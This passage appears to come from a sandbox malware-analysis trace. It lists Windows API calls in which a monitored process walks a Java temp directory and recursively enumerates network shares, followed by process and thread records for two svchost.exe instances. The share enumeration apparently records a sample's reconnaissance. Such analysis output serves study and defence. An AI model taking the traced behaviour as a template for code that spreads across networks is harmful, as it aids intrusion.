[0114.730] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.730] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.730] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.730] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.730] PathFindFileNameW (pszPath="") returned="" [0114.730] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.731] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.731] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.731] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.731] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.731] SendMessageW (hWnd=0x20156, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 243 os_tid = 0x360 [0110.352] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x839fee0 | out: lphEnum=0x839fee0*=0x7a42760) returned 0x0 [0110.388] WNetEnumResourceW (in: hEnum=0x7a42760, lpcCount=0x839fedc, lpBuffer=0x7ab84c0, lpBufferSize=0x839fed8 | out: lpcCount=0x839fedc, lpBuffer=0x7ab84c0, lpBufferSize=0x839fed8) returned 0x0 [0110.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ac40 [0110.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ac88 [0110.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48150 [0110.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1acd0 [0110.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ad18 [0110.389] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7ab84c0, lphEnum=0x839fe28 | out: lphEnum=0x839fe28*=0x50b2100) returned 0x0 [0110.391] WNetEnumResourceW (in: hEnum=0x50b2100, lpcCount=0x839fe24, lpBuffer=0x7abc4c8, lpBufferSize=0x839fe20 | out: lpcCount=0x839fe24, lpBuffer=0x7abc4c8, lpBufferSize=0x839fe20) returned 0x103 [0110.391] WNetCloseEnum (hEnum=0x50b2100) returned 0x0 [0110.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ac88 | out: hHeap=0x5010000) returned 1 [0110.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ac40 | out: hHeap=0x5010000) returned 1 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ac40 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ac88 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a221e8 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1a610 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ada8 [0110.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ad18 | out: hHeap=0x5010000) returned 1 [0110.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1acd0 | out: hHeap=0x5010000) returned 1 [0110.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1acd0 [0110.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ad18 [0110.392] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7ab84e0, lphEnum=0x839fe28 | out: lphEnum=0x839fe28*=0x839fe44) returned 0x4b8 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ac88 | out: hHeap=0x5010000) returned 1 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ac40 | out: hHeap=0x5010000) returned 1 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x150) returned 0x79f4e98 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ac40 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1ac88 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1a9b8 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ada8 | out: hHeap=0x5010000) returned 1 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1a610 | out: hHeap=0x5010000) returned 1 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1ad18 | out: hHeap=0x5010000) returned 1 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1acd0 | out: hHeap=0x5010000) returned 1 [0122.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a221e8 | out: hHeap=0x5010000) returned 1 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e10 [0122.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0122.673] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7ab8500, lphEnum=0x839fe28 | out: lphEnum=0x839fe28*=0x839fe44) returned 0x4c6 [0122.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0122.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0122.676] WNetEnumResourceW (in: hEnum=0x7a42760, lpcCount=0x839fedc, lpBuffer=0x7ab84c0, lpBufferSize=0x839fed8 | out: lpcCount=0x839fedc, lpBuffer=0x7ab84c0, lpBufferSize=0x839fed8) returned 0x103 [0122.676] WNetCloseEnum (hEnum=0x7a42760) returned 0x0 [0122.676] SendMessageW (hWnd=0x20156, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 245 os_tid = 0x600 Thread: id = 260 os_tid = 0x14c Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9d3d000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x544" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc47" [0xc000000f], "LOCAL" [0x7] Thread: id = 181 os_tid = 0x474 Thread: id = 182 os_tid = 0x3a4 Thread: id = 183 os_tid = 0x7fc Thread: id = 184 os_tid = 0x7d0 Thread: id = 185 os_tid = 0x794 Thread: id = 186 os_tid = 0x790 Thread: id = 187 os_tid = 0x788 Thread: id = 188 os_tid = 0x5e8 Thread: id = 189 os_tid = 0x158 Thread: id = 190 os_tid = 0x154 Thread: id = 191 os_tid = 0x130 Thread: id = 192 os_tid = 0x128 Thread: id = 193 os_tid = 0x12c Thread: id = 194 os_tid = 0x11c Thread: id = 195 os_tid = 0x524 Thread: id = 196 os_tid = 0x540 Thread: id = 246 os_tid = 0x650 Thread: id = 261 os_tid = 0x178 Thread: id = 272 os_tid = 0x4f8 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9e2d000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x544" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cddd" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 199 os_tid = 0x490 Thread: id = 200 os_tid = 0x470 Thread: id = 201 os_tid = 0x41c Thread: id = 202 os_tid = 0x7dc Thread: id = 203 os_tid = 0x784 Thread: id = 204 os_tid = 0x780 Thread: id = 205 os_tid = 0x778 Thread: id = 206 os_tid = 0x76c Thread: id = 207 os_tid = 0x768 Thread: id = 208 os_tid = 0x764 Thread: id = 209 os_tid = 0x75c Thread: id = 210 os_tid = 0x758 Thread: id = 211 os_tid = 0x750 Thread: id = 212 os_tid = 0x744 Thread: id = 213 os_tid = 0x73c Thread: id = 214 os_tid = 0x738 Thread: id = 215 os_tid = 0x72c Thread: id = 216 os_tid = 0x724 Thread: id = 217 os_tid = 0x720 Thread: id = 218 os_tid = 0x71c Thread: id = 219 os_tid = 0x70c Thread: id = 220 os_tid = 0x6f0 Thread: id = 221 os_tid = 0x434 Thread: id = 222 os_tid = 0x1c0 Thread: id = 223 os_tid = 0x49c Thread: id = 224 os_tid = 0x468 Thread: id = 225 os_tid = 0x454 Thread: id = 226 os_tid = 0x42c Thread: id = 227 os_tid = 0x428 Thread: id = 228 os_tid = 0x424 Thread: id = 229 os_tid = 0x418 Thread: id = 230 os_tid = 0x110 Thread: id = 231 os_tid = 0x3d8 Thread: id = 232 os_tid = 0xc8 Thread: id = 233 os_tid = 0x3f8 Thread: id = 234 os_tid = 0x3ec Thread: id = 235 os_tid = 0x3a0 Thread: id = 236 os_tid = 0x394 Thread: id = 237 os_tid = 0x390 Thread: id = 238 os_tid = 0x38c Thread: id = 239 os_tid = 0x380 Thread: id = 240 os_tid = 0x378 Thread: id = 244 os_tid = 0x67c Thread: id = 247 os_tid = 0x5f4 Thread: id = 248 os_tid = 0x7e8 Thread: id = 249 os_tid = 0x5fc Thread: id = 250 os_tid = 0x7a0 Thread: id = 251 os_tid = 0x5dc Thread: id = 252 os_tid = 0x5ec Thread: id = 253 os_tid = 0x5f8 Thread: id = 254 os_tid = 0x5d4 Thread: id = 255 os_tid = 0x5d0 Thread: id = 256 os_tid = 0x7ec Thread: id = 257 os_tid = 0x48c Thread: id = 258 os_tid = 0x564 Thread: id = 259 os_tid = 0x540 Thread: id = 262 os_tid = 0x210 Thread: id = 263 os_tid = 0x114 Thread: id = 264 os_tid = 0x204 Thread: id = 265 os_tid = 0x1e8 Thread: id = 266 os_tid = 0x368 Thread: id = 267 os_tid = 0x118 Thread: id = 268 os_tid = 0x494 Thread: id = 269 os_tid = 0x4ec Thread: id = 270 os_tid = 0x5a8 Thread: id = 271 os_tid = 0x57c